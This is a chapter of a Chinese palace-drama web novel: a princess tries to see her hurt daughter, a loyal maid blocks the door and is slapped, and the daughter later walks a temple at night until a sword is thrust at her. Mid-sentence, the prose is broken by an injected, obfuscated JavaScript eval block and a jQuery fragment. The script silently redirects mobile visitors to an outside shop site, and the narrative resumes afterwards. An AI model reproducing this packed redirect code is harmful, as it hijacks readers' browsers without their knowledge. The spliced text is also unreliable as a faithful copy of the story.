15. 替身
    荣昌长公主到的时候,只看到晴山一人坐在杨明珠的房门前。

    晴山本就是杨明珠从外头救回来的,在她心里,杨明珠就是她唯一的主子。以前在国公府,她害怕长公主的身份,也怕给杨明珠添麻烦,为人处世一直小心谨慎,能不得罪人就不得罪人。尤其在长公主面前,她礼数周到,事事周全,生怕自己给杨明珠丢脸。

    可今日直到长公主走到她面前,她依然纹丝不动,无视张姑姑的眼色,挡在杨明珠的门口,既不行礼,也不让开。

    好在长公主并不在意,她隔着门喊道:“婉婉,我来了。”

    屋内静悄悄的,没有一丝声音。

    一丝恐惧爬上长公主的心头。

    杨明珠最是亲近她这个母亲的,以往她还未曾出嫁时,日日要去她的院子给她请安,然后服侍她更衣用膳。

    只是她总觉得杨明珠在乡下长大,毛手毛脚,礼数不全,没过几次便打发她走了。

    饶是如此,杨明珠依旧十分渴望亲近她,日日做了药膳送过来。那些药膳她让御医看过,确实滋补,只是用料不好,用的药材都是些乡野村妇才会吃的,她作为地位尊贵的荣昌长公主,怎么能吃那些粗鄙的东西。

    即使知道长公主没有吃掉那些药膳,杨明珠依旧日日亲手做好了送到长公主面前。

    想到这里,长公主突然有了些胃口。她想,杨明珠自小在乡野长大,只能接触那些最低等最廉价的药材,怪不得她只会用那些药材。再说,那些食物虽然粗鄙,但也是杨明珠的一份孝心,就算看在杨明珠的面子上,她也应该尝一口。

    “婉婉,娘亲有话跟你说,你开门让娘亲进去好不好?”

    长公主放柔了声音,今日之事她知道杨明珠受委屈了,可当着那么多人,她只能这么做,否则若是传出去,国公府剩下的几个姑娘还要如何议亲。

    不过,来的路上她已经想好了,她会补偿杨明珠的。西域曾经进贡了一套顶级蓝宝石头面,她知道杨明珠喜欢,待她回府便会把那套头面送给杨明珠。

    “婉婉,开门呀婉婉。”

    任长公主如何叫门,屋内始终没有任何声音。

    “杨明珠,”长公主的耐心逐渐消失,她不顾晴山的阻挠,伸手推了推门,门已经从内反锁。

    “你若是一直耍小脾气,那我就走了。”

    晴山忍了又忍,终是忍不下去,她猛然站起身,挡在门前:“恭送荣昌长公主!”

    晴山有一肚子话想说,她家郡主受了委屈说不出口,就由她这个侍女来说。

    可当真面对长公主那双目光如炬的眼睛,她还是忍不住退缩了。眼前的人是荣昌长公主,是当今圣上的亲姐,是辅佐圣上登上九五之尊的人,一人之下万人之上。

    而她只是一个小丫鬟,长公主就算让她现在去死,她也得立刻寻一根麻绳。

    她周晴山不怕死,只是怕她死后,她家郡主更加孤立无援。

    于是,她只能摆出一副送客的架势,长公主不是拿要走来威胁她家郡主吗?那便走吧。以前在国公府她不曾留下过,现下......晴山侧头看了看紧闭的房门,她家郡主应该也不需要了吧。

    “放肆!”不等长公主开口,张姑姑一个巴掌就落在晴山的脸上。

    张姑姑是宫里的老人,她下手极重,晴山的脸上立刻浮现了一个五指印。

    晴山感觉一股温热顺着自己的嘴角缓缓流下,她看都不看,只是继续重复道:“恭送荣昌长公主!”

    张姑姑还想上前,长公主却拦住了。她看着眼前的小丫鬟,长相粗鄙,面黄肌瘦,听说是杨明珠从天桥买回来的,这般长相身世,原本进国公府都不够格,可杨明珠那一日却跪在她的院子前,求她留下她。

    鲜血顺着她的嘴角蜿蜒流下,而她目光炯炯,眼神里没有丝毫惧怕,挺直的脊背像是在保护身后的房门,以及房门里的杨明珠。

    罢了。长公主一瞬间塌下肩膀。今日之事确实是她对不住杨明珠,既然杨明珠不愿意见她,那她便先回去吧。待她处理好,再同杨明珠解释。

    长公主转身走了一步,又突然回头。

    晴山吓了一跳,方才的话已经用尽了她所有的勇气。

    长公主折回来,拿着用上好的绯烟纱做成的手帕给晴山擦拭嘴边的血迹。

    晴山整个人都僵硬了,呆呆地立着,不敢动作。

    “你做得很好。”长公主说罢,又看了一眼紧闭的房门,这才在张姑姑的搀扶下离开。

    晴山愣愣地看着长公主的背影,又看了看手中沾了鲜血的绯烟纱手帕。

    一股钻心的痛突然涌上脸颊。

    “嘶——宫里出来的人就是不一样。”晴山小声嘟囔道。

    身后的房门不知道什么时候打开了,杨明珠神色冷淡地站在屋内。

    午后的阳光落在她雪青色的襦裙上,裙摆上的金丝绣线熠熠生辉。

    她整张脸都隐在阴影处,晴山只能看到她紧抿的唇角,一时有些担心,声音也急促了些:“郡主——”

    “进来吧。”杨明珠的嗓音淡淡的,若不是因为晴山一直担忧地看着她,恐怕会错过她眼神中一闪而过的心疼。

    晴山抬手轻抚嘴角,她咧着嘴笑道:“郡主,我不疼的。”

    杨明珠看着她疼得呲牙咧嘴却依然要露出笑容的样子,总算露出一个不像笑容的笑容。

    杨明珠处理伤口的动作很轻柔,晴山看着她泛红的眼角,却不知该如何安慰她。

    自她被杨明珠带回国公府后,她见过许多次这样的表情,最开始连她也不理解,为何长公主会对杨芷柔那个赝品比杨明珠这个亲生女儿更好。

    闲暇时,她也曾听国公府的旧人闲聊时说起过,当初杨明珠被拐走后,长公主差点崩溃,若不是因为在去寺庙祈福回来的路上遇到了与杨明珠有几分相似的杨芷柔,恐怕长公主熬不到现在。

    “可是,郡主不是已经回来了吗?正主回来,替身也该功成身退了呀。”

    “你不懂,带在身边养了七年

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14245448|151226||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    的人那种感情有多深。”

    晴山确实不懂,她只知道,杨明珠作为国公府真正的小姐,过得日子还不如一个外头捡来的乞丐。

    荣昌长公主一行人很快就回去了。

    晚膳时,晴山来给闭门不出的杨明珠送饭,试探地开口:“我今日躲在墙后,听到翡翠的哭声,她好像被责罚了......”

    杨明珠没说话,只是安静地吃饭。

    见杨明珠脸上并没有反感的神色,晴山才继续道:“四小姐好像被打了,我今日看到她的脸颊同我一样肿了起来......那力道,恐怕也是张姑姑动的手。”

    杨明珠这才抬起头,敷过药后晴山脸上的红肿已经消退了不少。

    晴山见杨明珠的视线落在自己脸上,立刻道:“这药可真有用,敷上去凉凉的,也不知道梅香是从哪里弄来的,改天我得跟她说再弄几瓶备着。”

    “好。”许是因为晴山的表情太生动,杨明珠终于开口了。

    那药膏她今日研究过,装药膏的小瓷瓶看起来平平无奇,但却是上等的江东青瓷。

    杨明珠的视线落在手腕上的伤疤上,灯火下,肉粉色的伤疤不甚明显。想起那一身青绿,杨明珠还是打消了把药膏还给裴松月的念头。

    既然是他的一番心意,那便收下吧。左右她也算是他的表弟妹。

    入夜。

    杨明珠有些睡不着,躺在床上辗转反侧。白日里发生的一切还在她的脑海里反复重现,那股淡淡的颓丧始终萦绕在她的心尖。

    冷静下来后,她能猜到长公主之所以为杨芷柔遮掩丑事的缘由。国公府还有几位未出阁的妹妹,若是杨芷柔身上传出来不好的流言,那几个妹妹免不了遭受非议。就如同一年前她被裴家退婚时那样,外人才不管那些流言是真是假,只会觉得国公府教养出来的姑娘难登大雅之堂。

    理智告诉她,这一次是她太过心急,考虑不周,可情感上......那毕竟是她名义上的夫君,即使她对萧渐鸿没什么感情,但长公主如此大事化了小事化无,丝毫不考虑她的心情,还是让杨明珠失望。

    杨明珠推开房门,今夜无月,只有满天繁星。可惜她的眼睛一到夜晚就看不清楚,欣赏不了这样的夜景。

    护国寺作为皇家寺院,院中的一应事物都很齐全。

    路边每隔几步都点着一盏宫灯,即使杨明珠有夜盲症,也能在暖黄的灯火下看清脚下的路。

    夜风阵阵,幽幽蝉鸣。

    不知不觉,杨明珠在夜色里走了许久。

    “何方妖孽竟敢擅闯护国寺!”一道清冷的声音突然响起,在这寂静无人的寺院显得格外渗人。

    杨明珠只觉得好笑。

    这里是大周王朝的皇家寺院护国寺,里面的得道高僧不知多少,怎么会有什么妖孽敢来此地放肆。

    她以为是什么人的恶作剧,折身往回走。她一个人走了太久,不能再继续逗留了。

    哪知,她刚一转身,一柄桃木剑便直直地刺向她的心口。